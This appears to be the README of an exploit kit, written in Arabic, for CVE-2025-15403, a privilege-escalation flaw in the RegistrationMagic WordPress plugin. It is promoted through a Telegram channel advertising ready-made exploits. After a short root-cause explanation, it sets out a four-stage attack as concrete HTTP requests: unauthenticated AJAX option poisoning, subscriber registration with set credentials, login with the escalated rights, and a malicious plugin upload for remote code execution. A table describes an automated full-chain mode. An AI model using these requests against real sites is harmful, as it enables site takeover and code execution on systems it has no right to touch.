
RegistrationMagic <= 6.0.7.1 - تصعيد امتياز غير مصرح به عبر admin_order
RegistrationMagic <= 6.0.7.1 - تصعيد صلاحيات غير مصادق عليه عبر admin_order
,-. . , ,--. ,-. ,-. ,-. ;--' , ;--' ,. ,-. ,--,
/ | / | ) / /\ ) | '| | / | / /\ /
| | / |- --- / | / | / `-. --- | `-. '--| | / | `.
\ |/ | / \/ / / ) | ) | \/ / )
`-' ' `--' '--' `-' '--' `-' ' `-' ' `-' `-'
📡 المعلومات الاستخباراتية تُنشر هنا أولاً. تابع @KNxploited على تيليغرام — كشف دقيق لثغرات CVE، واستغلالات جاهزة، وأبحاث متعمقة في الثغرات الأمنية. القناة لمن لا ينتظر الأخبار — بل يصنعها.
CVE-2025-15403 هي ثغرة حرجة بتصنيف CVSS 9.8 لتصعيد الصلاحيات في إضافة RegistrationMagic لووردبريس.
يكمن الخلل في دالة add_menu الخاصة بالإضافة، والتي يمكن الوصول إليها بدون مصادقة عبر إجراء AJAX rm_user_exists. عن طريق حقن سلاش فارغ في باراميتر order إلى جانب علامة enable_admin_order=yes، يتمكن المهاجم من التلاعب بمنطق توليد القوائم الداخلية للإضافة. وعند بناء قائمة المشرف لاحقًا، تقوم الإضافة بصمت باستدعاء add_cap('manage_options') على الدور المستهدف — مما يرفع أي حساب من مستوى المشترك إلى صلاحية إدارية كاملة.
| الحقل | التفاصيل |
|---|---|
| معرّف CVE | CVE-2025-15403 |
| الإضافة | RegistrationMagic |
| السلاش | registrationmagic / custom-registration-form-builder-with-submission-manager |
| الإصدارات المتأثرة | جميع الإصدارات حتى 6.0.7.1 شاملاً |
| نوع الثغرة | تصعيد صلاحيات بدون مصادقة |
| متطلبات الهجوم | مرحلة AJAX: لا شيء. الاستغلال: حساب مشترك |
| متجه الهجوم | الشبكة |
| درجة CVSS 3.1 | 9.8 حرجة |
| متجه CVSS | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| الأثر | سيطرة كاملة على ووردبريس كمسؤول |
| الباحث | Nxploited |
السبب الجذري هو قابلية الوصول إلى دالة add_menu بدون مصادقة من خلال rm_user_exists، بالإضافة إلى عدم التحقق من صحة سلاش admin_order:
// مسجلة بدون فحص صلاحية
add_action('wp_ajax_nopriv_rm_user_exists', [$this, 'rm_user_exists_handler']);
public function rm_user_exists_handler() {
$slug = sanitize_text_field($_POST['rm_slug']);
$order = $_POST['order']; // ← يتحكم به المستخدم، غير منسَّق
$role_key = /* مستخرج من POST */;
$enable = $_POST['enable_admin_order'];
if ($slug === 'rm_options_admin_menu' && $enable === 'yes') {
// يخزن ترتيبًا يتحكم به المهاجم في خيارات الإضافة
update_option('rm_admin_order', $order); // مثلا ",menu1" → سلاش فارغ أول
}
}
// لاحقًا، عند بناء قائمة المشرف...
public function add_menu() {
$order = get_option('rm_admin_order'); // ← مسموم من المهاجم
$slugs = explode(',', $order);
foreach ($slugs as $slug) {
if (empty($slug)) {
// السلاش الفارغ يؤدي إلى منح صلاحية غير مشروطة
$role->add_cap('manage_options'); // ← تمت إضافة صلاحية إدارية كاملة
}
}
}
لماذا هذا حرج:
wp_ajax_nopriv_* يعني صفر مصادقة مطلوبة لتسميم الخيارorder=,menu1 يجتاز فحص empty()، مما يؤدي إلى استدعاء add_cap('manage_options')manage_options هي أعلى صلاحية في ووردبريس — تعادل المسؤول╔══════════════════════════════════════════════════════════════════════════╗
║ المرحلة 1 — تسميم الخيار بدون مصادقة ║
╚══════════════════════════════════════════════════════════════════════════╝
POST /wp-admin/admin-ajax.php
action = rm_user_exists
rm_slug = rm_options_admin_menu
order = ,menu1 ← عنصر أول فارغ = سلاش فارغ
_Subscriber = 1 ← مفتاح الدور المستهدف
restore = false
enable_admin_order= yes
الرد: HTTP 200 (أي رد غير محظور يعني أن الخيار قد سُمّم)
↓ تقوم الإضافة بتخزين order=",menu1" في wp_options
↓ بناء قائمة المشرف التالي يؤدي إلى استدعاء add_cap('manage_options') على دور المشترك
╔══════════════════════════════════════════════════════════════════════════╗
║ المرحلة 2 — الحصول على حساب (مشترك) ║
╚══════════════════════════════════════════════════════════════════════════╝
الخيار أ — التسجيل عبر نموذج تسجيل الموقع (الوضع 0):
GET /wp-login.php?action=register → كشف ذكي للنموذج
POST → إنشاء حساب مشترك
بيانات الدخول: NXploited / xplpass123
الخيار ب — استخدام حساب مشترك موجود.
╔══════════════════════════════════════════════════════════════════════════╗
║ المرحلة 3 — تسجيل الدخول + جني الصلاحيات ║
╚══════════════════════════════════════════════════════════════════════════╝
POST /wp-login.php
log = NXploited
pwd = xplpass123
↓
حساب المشترك الآن يحمل manage_options → لوحة تحكم المسؤول الكاملة متاحة
╔══════════════════════════════════════════════════════════════════════════╗
║ المرحلة 4 — تحقق عميق وتنفيذ أكواد (RCE) عبر رفع إضافة ║
╚══════════════════════════════════════════════════════════════════════════╝
GET /wp-admin/ → لوحة تحكم المسؤول متاحة ✔️
GET /wp-admin/plugin-install.php → صفحة تثبيت الإضافات متاحة ✔️
POST /wp-admin/update.php?action=upload-plugin
pluginzip = Nxploited.zip → تم رفع وتنفيذ الإضافة ✔️
GET /wp-content/plugins/Nxploited/hello.php
الرد يحتوي على "Nxploited" → تأكيد تنفيذ الأكواد (RCE) ✔️
توفر مجموعة الاستغلال هذه ثلاثة أوضاع متميزة لتغطية دورة الهجوم الكاملة:
| الوضع | الاسم | الوصف |
|---|---|---|
0 | تسجيل فقط | كشف ذكي لنماذج ووردبريس + تسجيل حساب مشترك |
1 | استغلال فقط | إطلاق البدائية AJAX غير المصادق عليها لتسميم admin_order |
2 | استغلال + دخول + تحقق | سلسلة كاملة: بدائية → دخول → لوحة تحكم المسؤول → تثبيت إضافة → RCE |
pip install requests colorama urllib3